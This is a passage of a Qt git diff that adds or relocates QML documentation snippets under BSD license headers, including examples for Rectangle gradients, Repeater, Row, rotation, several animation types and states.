CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.0 + +Item { + width: 100; height: 300 + +Item { + x: 10; y: 10 + width: 80; height: 280 + +//! [rectangles] +Rectangle { + y: 0; width: 80; height: 80 + color: "lightsteelblue" +} + +Rectangle { + y: 100; width: 80; height: 80 + gradient: Gradient { + GradientStop { position: 0.0; color: "lightsteelblue" } + GradientStop { position: 1.0; color: "blue" } + } +} + +Rectangle { + y: 200; width: 80; height: 80 + rotation: 90 + gradient: Gradient { + GradientStop { position: 0.0; color: "lightsteelblue" } + GradientStop { position: 1.0; color: "blue" } + } +} +//! [rectangles] +} +} diff --git a/src/qml/doc/snippets/qml/rectangle/rectangle.qml b/src/qml/doc/snippets/qml/rectangle/rectangle.qml new file mode 100644 index 0000000000..c315a27da0 --- /dev/null +++ b/src/qml/doc/snippets/qml/rectangle/rectangle.qml @@ -0,0 +1,52 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//! [document] +import QtQuick 2.0 + +Rectangle { + width: 100 + height: 100 + color: "red" + border.color: "black" + border.width: 5 + radius: 10 +} +//! [document] diff --git a/src/qml/doc/snippets/qml/repeaters/repeater.qml b/src/qml/doc/snippets/qml/repeaters/repeater.qml new file mode 100644 index 0000000000..856b038a04 --- /dev/null +++ b/src/qml/doc/snippets/qml/repeaters/repeater.qml @@ -0,0 +1,89 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//! [import] +import QtQuick 2.0 +//! [import] + +Row { + +//! [simple] +Row { + Repeater { + model: 3 + Rectangle { + width: 100; height: 40 + border.width: 1 + color: "yellow" + } + } +} +//! [simple] + +//! [index] +Column { + Repeater { + model: 10 + Text { text: "I'm item " + index } + } +} +//! [index] + +//! [modeldata] +Column { + Repeater { + model: ["apples", "oranges", "pears"] + Text { text: "Data: " + modelData } + } +} +//! [modeldata] + +//! [layout] +Row { + Rectangle { width: 10; height: 20; color: "red" } + Repeater { + model: 10 + Rectangle { width: 20; height: 20; radius: 10; color: "green" } + } + Rectangle { width: 10; height: 20; color: "blue" } +} +//! [layout] + +} diff --git a/doc/src/snippets/qml/reusablecomponents/Button.qml b/src/qml/doc/snippets/qml/reusablecomponents/Button.qml index cedc782f75..cedc782f75 100644 --- a/doc/src/snippets/qml/reusablecomponents/Button.qml +++ b/src/qml/doc/snippets/qml/reusablecomponents/Button.qml diff --git a/doc/src/snippets/qml/reusablecomponents/application.qml b/src/qml/doc/snippets/qml/reusablecomponents/application.qml index 42428ce25e..42428ce25e 100644 --- a/doc/src/snippets/qml/reusablecomponents/application.qml +++ b/src/qml/doc/snippets/qml/reusablecomponents/application.qml diff --git a/doc/src/snippets/qml/reusablecomponents/component.qml b/src/qml/doc/snippets/qml/reusablecomponents/component.qml index 9a60468d73..9a60468d73 100644 --- a/doc/src/snippets/qml/reusablecomponents/component.qml +++ b/src/qml/doc/snippets/qml/reusablecomponents/component.qml diff --git a/doc/src/snippets/qml/reusablecomponents/focusbutton.qml b/src/qml/doc/snippets/qml/reusablecomponents/focusbutton.qml index 34fc6294e2..34fc6294e2 100644 --- a/doc/src/snippets/qml/reusablecomponents/focusbutton.qml +++ b/src/qml/doc/snippets/qml/reusablecomponents/focusbutton.qml diff --git a/doc/src/snippets/qml/reusablecomponents/qmldir b/src/qml/doc/snippets/qml/reusablecomponents/qmldir index 253732de01..253732de01 100644 --- a/doc/src/snippets/qml/reusablecomponents/qmldir +++ b/src/qml/doc/snippets/qml/reusablecomponents/qmldir diff --git a/src/qml/doc/snippets/qml/rotation.qml b/src/qml/doc/snippets/qml/rotation.qml new file mode 100644 index 0000000000..c7f9df3a9b --- /dev/null +++ b/src/qml/doc/snippets/qml/rotation.qml @@ -0,0 +1,69 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +//! [0] +import QtQuick 2.0 + +Row { + x: 10; y: 10 + spacing: 10 + + Image { source: "pics/qt.png" } + Image { + source: "pics/qt.png" + transform: Rotation { origin.x: 30; origin.y: 30; axis { x: 0; y: 1; z: 0 } angle: 18 } + smooth: true + } + Image { + source: "pics/qt.png" + transform: Rotation { origin.x: 30; origin.y: 30; axis { x: 0; y: 1; z: 0 } angle: 36 } + smooth: true + } + Image { + source: "pics/qt.png" + transform: Rotation { origin.x: 30; origin.y: 30; axis { x: 0; y: 1; z: 0 } angle: 54 } + smooth: true + } + Image { + source: "pics/qt.png" + transform: Rotation { origin.x: 30; origin.y: 30; axis { x: 0; y: 1; z: 0 } angle: 72 } + smooth: true + } +} +//! [0] diff --git a/src/qml/doc/snippets/qml/rotationanimation.qml b/src/qml/doc/snippets/qml/rotationanimation.qml new file mode 100644 index 0000000000..caa1ce8207 --- /dev/null +++ b/src/qml/doc/snippets/qml/rotationanimation.qml @@ -0,0 +1,66 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//![0] +import QtQuick 2.0 + +Item { + width: 300; height: 300 + + Rectangle { + id: rect + width: 150; height: 100; anchors.centerIn: parent + color: "red" + smooth: true + + states: State { + name: "rotated" + PropertyChanges { target: rect; rotation: 180 } + } + + transitions: Transition { + RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise } + } + } + + MouseArea { anchors.fill: parent; onClicked: rect.state = "rotated" } +} +//![0] + diff --git a/src/qml/doc/snippets/qml/row/row.qml b/src/qml/doc/snippets/qml/row/row.qml new file mode 100644 index 0000000000..465baa577b --- /dev/null +++ b/src/qml/doc/snippets/qml/row/row.qml @@ -0,0 +1,50 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//! [document] +import QtQuick 2.0 + +Row { + spacing: 2 + Rectangle { color: "red"; width: 50; height: 50 } + Rectangle { color: "green"; width: 20; height: 50 } + Rectangle { color: "blue"; width: 50; height: 20 } +} +//! [document] diff --git a/src/qml/doc/snippets/qml/sequentialanimation.qml b/src/qml/doc/snippets/qml/sequentialanimation.qml new file mode 100644 index 0000000000..73923e4ea0 --- /dev/null +++ b/src/qml/doc/snippets/qml/sequentialanimation.qml @@ -0,0 +1,56 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//![0] +import QtQuick 2.0 + +Rectangle { + id: rect + width: 100; height: 100 + color: "red" + + SequentialAnimation { + running: true + NumberAnimation { target: rect; property: "x"; to: 50; duration: 1000 } + NumberAnimation { target: rect; property: "y"; to: 50; duration: 1000 } + } +} +//![0] + diff --git a/src/qml/doc/snippets/qml/smoothedanimation.qml b/src/qml/doc/snippets/qml/smoothedanimation.qml new file mode 100644 index 0000000000..ba6f505976 --- /dev/null +++ b/src/qml/doc/snippets/qml/smoothedanimation.qml @@ -0,0 +1,69 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//![0] +import QtQuick 2.0 + +Rectangle { + width: 800; height: 600 + color: "blue" + + Rectangle { + width: 60; height: 60 + x: rect1.x - 5; y: rect1.y - 5 + color: "green" + + Behavior on x { SmoothedAnimation { velocity: 200 } } + Behavior on y { SmoothedAnimation { velocity: 200 } } + } + + Rectangle { + id: rect1 + width: 50; height: 50 + color: "red" + } + + focus: true + Keys.onRightPressed: rect1.x = rect1.x + 100 + Keys.onLeftPressed: rect1.x = rect1.x - 100 + Keys.onUpPressed: rect1.y = rect1.y - 100 + Keys.onDownPressed: rect1.y = rect1.y + 100 +} +//![0] diff --git a/src/qml/doc/snippets/qml/springanimation.qml b/src/qml/doc/snippets/qml/springanimation.qml new file mode 100644 index 0000000000..e04c483405 --- /dev/null +++ b/src/qml/doc/snippets/qml/springanimation.qml @@ -0,0 +1,65 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//![0] +import QtQuick 2.0 + +Item { + width: 300; height: 300 + + Rectangle { + id: rect + width: 50; height: 50 + color: "red" + + Behavior on x { SpringAnimation { spring: 2; damping: 0.2 } } + Behavior on y { SpringAnimation { spring: 2; damping: 0.2 } } + } + + MouseArea { + anchors.fill: parent + onClicked: { + rect.x = mouse.x - rect.width/2 + rect.y = mouse.y - rect.height/2 + } + } +} +//![0] + diff --git a/src/qml/doc/snippets/qml/state-when.qml b/src/qml/doc/snippets/qml/state-when.qml new file mode 100644 index 0000000000..de9fb39cef --- /dev/null +++ b/src/qml/doc/snippets/qml/state-when.qml @@ -0,0 +1,54 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +import QtQuick 2.0 +//![0] +Rectangle { + id: myRect + width: 100; height: 100 + color: "red" + + MouseArea { id: mouseArea; anchors.fill: parent } + + states: State { + name: "hidden"; when: mouseArea.pressed + PropertyChanges { target: myRect; opacity: 0 } + } +} +//![0] diff --git a/src/qml/doc/snippets/qml/state.qml b/src/qml/doc/snippets/qml/state.qml new file mode 100644 index 0000000000..5948cba770 --- /dev/null +++ b/src/qml/doc/snippets/qml/state.qml @@ -0,0 +1,61 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +//![0] +import QtQuick 2.0 + +Rectangle { + id: myRect + width: 100; height: 100 + color: "black" + + MouseArea { + id: mouseArea + anchors.fill: parent + onClicked: myRect.state == 'clicked' ? myRect.state = "" : myRect.state = 'clicked'; + } + + states: [ + State { + name: "clicked" + PropertyChanges { target: myRect; color: "red" } + } + ] +} +//![0] diff --git a/src/qml/doc/snippets/qml/states/statechangescript.qml b/src/qml/doc/snippets/qml/states/statechangescript.qml new file mode 100644 index 0000000000..262938fc9c --- /dev/null +++ b/src/qml/doc/snippets/qml/states/statechangescript.qml @@ -0,0 +1,63 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.0 + +Item { +//! [state and transition] +State { + name: "state1" + StateChangeScript { + name: "myScript" + script: doStateStuff(); + } + // ... +} +// ... +Transition { + to: "state1" + SequentialAnimation { + NumberAnimation { /* ... */ } + ScriptAction { scriptName: "myScript" } + NumberAnimation { /* ... */ } + } +} +//! [state and transition] +} diff --git a/src/qml/doc/snippets/qml/systempalette.qml 